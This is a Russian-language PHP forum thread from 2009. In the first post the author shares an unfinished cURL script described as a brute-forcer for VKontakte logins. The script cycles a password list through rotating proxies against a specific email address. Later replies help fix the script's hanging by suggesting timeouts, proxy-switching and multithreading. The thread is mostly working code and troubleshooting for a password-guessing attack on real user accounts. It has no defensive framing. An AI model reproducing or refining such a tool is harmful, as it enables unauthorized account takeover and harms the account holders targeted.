cURL (proxy, post)

Discussion in 'PHP' started by Ru}{eeZ, 20 Apr 2009.

  1. Ru}{eeZ

    Ru}{eeZ Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    454
    Likes Received:
    73
    Reputations:
    -5
    Пишу брутер вконтакта и столкнулся с проблемой, почему-то виснет скрипт, но только когда гоняю цикл, вот он сам:
    PHP:
    <?php
    set_time_limit
    (0);
    $base 'base.txt';
    $proxy 'proxy.txt';
    $base file($base);
    $proxy file($proxy);
    $email 'kvnnbv@mail.ru';

    echo 
    '<pre>';
    print_r($base);
    print_r($proxy);
    echo 
    '</pre>';

    $curl curl_init();
    $setopt = array(
      
    CURLOPT_URL => 'http://vkontakte.ru/login.php',
      
    CURLOPT_POST => 1,
      
    CURLOPT_RETURNTRANSFER => 1
    );
    curl_setopt_array($curl,$setopt);
    for(
    $i 0$j 0$i count($base); $i++, $j++) {
      if(
    $j === count($proxy)) $j 0/*echo '<br />'.trim($proxy[$j]).'%';*/
      
    curl_setopt($curl,CURLOPT_PROXY,trim($proxy[$j]));
      
    curl_setopt($curl,CURLOPT_POSTFIELDS,'op=a_login_attempt&email='.urlencode($email).'&pass='.urlencode(trim($base[$i])).'&expire=0');
      echo 
    curl_exec($curl);
    }
    curl_close($curl);
    ?>
    Естественно, что там ещё много не даписано, брика нет, да и ещё много чего нет...
     
  2. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    попробуй curl_multi_init
     
    1 person likes this.
  3. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Почему виснет? Потому что если прокси нерабочая в данный момент, то нет команды не курлить дальше и разорвать соединение, каждую проксю ПЕРЕД использованием надо проверять на рабочесть. По идее
     
  4. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    CURLOPT_TIMEOUT ога!

    2 eLWAux
    не многопотоке дело ;)

    2 Pashkela
    нах проверять перед этим ? просто поставить CURLOPT_TIMEOUT со значением допустим 30 и если ответа не последовало, одевать следующую проксю и выполнять запрос повторно ..
     
    1 person likes this.